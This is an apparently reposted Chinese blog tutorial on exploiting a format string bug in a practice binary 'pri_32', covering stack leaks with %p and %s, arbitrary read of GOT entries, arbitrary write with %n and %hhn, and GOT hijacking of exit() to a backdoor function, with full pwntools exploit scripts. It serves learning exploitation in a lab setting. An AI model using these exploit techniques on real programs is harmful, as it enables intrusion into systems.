web选手入门pwn(5)
2022-8-16 17:48:7 Author: 珂技知识分享(查看原文) 阅读量:12 收藏

1、 pri_32

https://github.com/kezibei/pwn_study

这题sprintf+printf是很明显的格式化字符串漏洞,前面检测了要以http://开头。sprintf是将s经过hello,%s处理赋值给format变量,很显然hello,%s不可控,因此不存在漏洞。而format直接传入printf,完全可控,因此存在格式化字符串漏洞。

这个漏洞用web理解就类似模板注入一类的漏洞,其可以用%p(指针)%d(10进制数)%x(16进制数)%s(参数地址对应的字符串)%n(已经成功输出的字符个数写入对应的整型指针参数所指的变量)等占位符来对后面的参数进行操作。

看图可以很直观的理解。

其中多个%s和直接用%n会报错,这也是快速鉴定格式化字符串漏洞的办法。

很明显这就是该类函数的第一个漏洞,可以用来泄露内存里的信息。具体原理是本来printf("%s%s", a ,b),如果没有ab变成printf("%s%s"),就会使用栈上的其他地址。
用gdb看一下,泄露的地址是哪些。
gdb pri_32
b printf
r
http://%p,%p.%p.%p.%p
stack 20

c

非常直观,但是这样想泄露高位栈上的信息就比较麻烦,要输入很多个%p。还有一种方法就是用%2$p来代替,这里2指什么呢?是指格式化字符串的参数表的第二个参数。
r
http://%2$p.%1$p
stack 20
c

那么我们只需要看栈就能泄露具体的信息了,比如那个GLIBC_2.0,只需要http://%3$s。

需要自己数很麻烦,如何快速计算出偏移量呢?gdb提供了fmtarg这么个功能。
gdb pri_32
b printf
r
http://aaaa
stack 20
fmtarg 0xffffd08c

除此之外,%s或者%p还可以快速用\x00来填充位数,用法如下。

但是这里只能泄露栈中的地址,有没有办法泄露其他地址呢?这里有个很巧妙的方法,就是先将地址写入栈中,然后通过%7$s将这个地址对应的字符串给打印出来。
我们先要获取这个7是多少,也就是偏移量是多少,写入4个A加上大量%p。

41即为A的16进制,那么可以数出来偏移量是13,同时这个偏移量在gdb中看栈也很容易看出来。那么AAAA%13$p结果就是0x41414141。

那么如果我们将AAAA替换为某个地址,会如何呢?比如data段随便一个字符串。

(python -c 'print("http://"+"\x08\x04\x86\xfa"[::-1]+"%13$p")' ; cat -) | ./pri_32(python -c 'print("http://"+"\x08\x04\x86\xfa"[::-1]+"%13$s")' ; cat -) | ./pri_32

可以看到,成功的将input error打印出来。

同理,在ret2libc3的学习中,我们了解到了泄露libc函数的真实地址也很重要。格式化字符串同样可以做到。
我们先在ret2libc3中泄露一次,方便对照。

0xf7d5f820,这里5f是随机的,再看pri_32

#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'
sh = process("./pri_32")elf = ELF("./pri_32")start_got = elf.got['__libc_start_main']
payload1 = "http://"+p32(start_got)+"%13$s"sh.sendline(payload1)puts_addr = sh.recv()print(puts_addr)

那么就可以准确捕获真实地址了。

#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'
sh = process("./pri_32")elf = ELF("./pri_32")start_got = elf.got['__libc_start_main']
payload1 = "http://"+p32(start_got)+"%13$s"sh.sendline(payload1)puts_addr = u32(sh.recv()[17:21])print(hex(puts_addr))

这样本来只能读栈就变成了任意地址读。

利用%n,我们还可以将其变成任意地址写。%n可以将该地址的值写入已打印字符数中,输入AAAA%13$n,即可将4写入AAAA地址中,这个AAAA地址可以选择bss段。
readelf -S pri_32

然后在gdb中调试。
python
from pwn import *
context.log_level = 'debug'
sh = gdb.debug("./pri_32")

gdb
x/20xb 0x804a040(gdb可能有BUG,第一次指令无效)

gdb
b exit(这样可以确定printf执行过了)
c
python
bss = 0x804a040
payload1 = "http://"+p32(bss)+"%13$n"
sh.sendline(payload1)

gdb
x/20xb 0x804a040

可以看到bss地址成功被我们改写成了11,也就是17,为什么是17呢?很显然因为前面有【hello,http://】,加上4字节的地址刚好17位,转换16进制就是11。
如何将其改写为我们想要的值呢,可以用前面那个技巧快速用\x00填充,也就是%16c
payload1 = "http://"+p32(bss)+"%16c"+"%13$n"

在最基础的格式化字符串漏洞中,会给一个if(a=32)的条件就执行system的后门,这样只需要改写a的值就行了。但这题显然不行,所以我们要继续探索。
这题是有后门函数win的,ida中可以看到。

既然可以改写任意地址的值了,那么就有个经典的利用方法,got表劫持。就是在任意写基础上更近一步,将11或者21这种小数字变成一个地址,而一个地址转换成10进制会非常大,这样就需要填充非常大的值进去。
在一些题目中会进行while循环,方便你劫持printf,这里不行,我们只能尝试exit()。
先确定win()的地址。
info address win


ida上也有

#!/usr/bin/env pythonfrom pwn import *
#context.log_level = 'debug'
sh = process("./pri_32")elf = ELF("./pri_32")exit_got = elf.got['exit']win_addr = 0x804857b

payload1 = "http://"+p32(exit_got)+"%"+str(win_addr-17)+"c%13$n"sh.sendline(payload1)sh.interactive()


通过很长时间的光标闪烁后,最终getshell


为什么这里会闪呢?是因为程序输出了和str(win_addr-17)相等体积的数据,要等很长时间才能输出完。在实际做题的时候,如果直接使用这种payload,可能会因为网络问题中断,所以要想办法减少体积。
如何减少呢?%n的缺点是只能根据长度来赋值,且一次修改4个字节的地址,因此地址转换成数字,想要获取这个数字长度的字符串体积就太大了,而我们可以使用%hn(2字节)和%hhn(1字节)来单独修改每个字节。这样需要输出的字符串体积就很小了。
比如win_addr = 0x804857b,也就是134514043,%n必须获取这么长的字符串非常困难。但如果依次赋值7b-85-04-08(小端),显然就简单很多。
所以我们只需要在%hhn取一个值的时候,输出长度为0x7b,取第二个值的时候,输出长度为0x85,也就是追加0x85-0x7b长度即可。到第三个值的时候,出问题了,0x4比0x85小,显然我们无法降低长度,这里可以用0x104来代替,因为%hhn只取后两位,参数为0x104就会阶段只剩0x4。
因此poc如下。

#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'
sh = process("./pri_32")elf = ELF("./pri_32")exit_got = elf.got['exit']win_addr = 0x804857b
payload1 = "http://"payload1+= p32(exit_got)+p32(exit_got+1)+p32(exit_got+2)+p32(exit_got+3)payload1+= "%"+str(0x7b-13-16)+"c%13$hhn"payload1+= "%"+str(0x85-0x7b)+"c%14$hhn"payload1+= "%"+str(0x104-0x85)+"c%15$hhn"payload1+= "%"+str(0x8-0x4)+"c%16$hhn"#payload1 += fmtstr_payload(13,{exit_got:win_addr},13)print(payload1)sh.sendline(payload1)sh.interactive()

当然,这样计算出来非常麻烦,所以如注释所写,pwntools内置了一个方法能帮我们快速生成payload。
fmtstr_payload(13,{exit_got:win_addr},13)
注意前一个13是偏移位置,后面的13是【hello,http://】的长度。


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485497&idx=1&sn=eb3e3fb6e86ff2a89afd513bc24baa5f&chksm=fa973556cde0bc40da4f451da3093c796ef5f258d026bd2d6c9d5fd23178ae12691d8cacd2e5#rd
如有侵权请联系:admin#unsafe.sh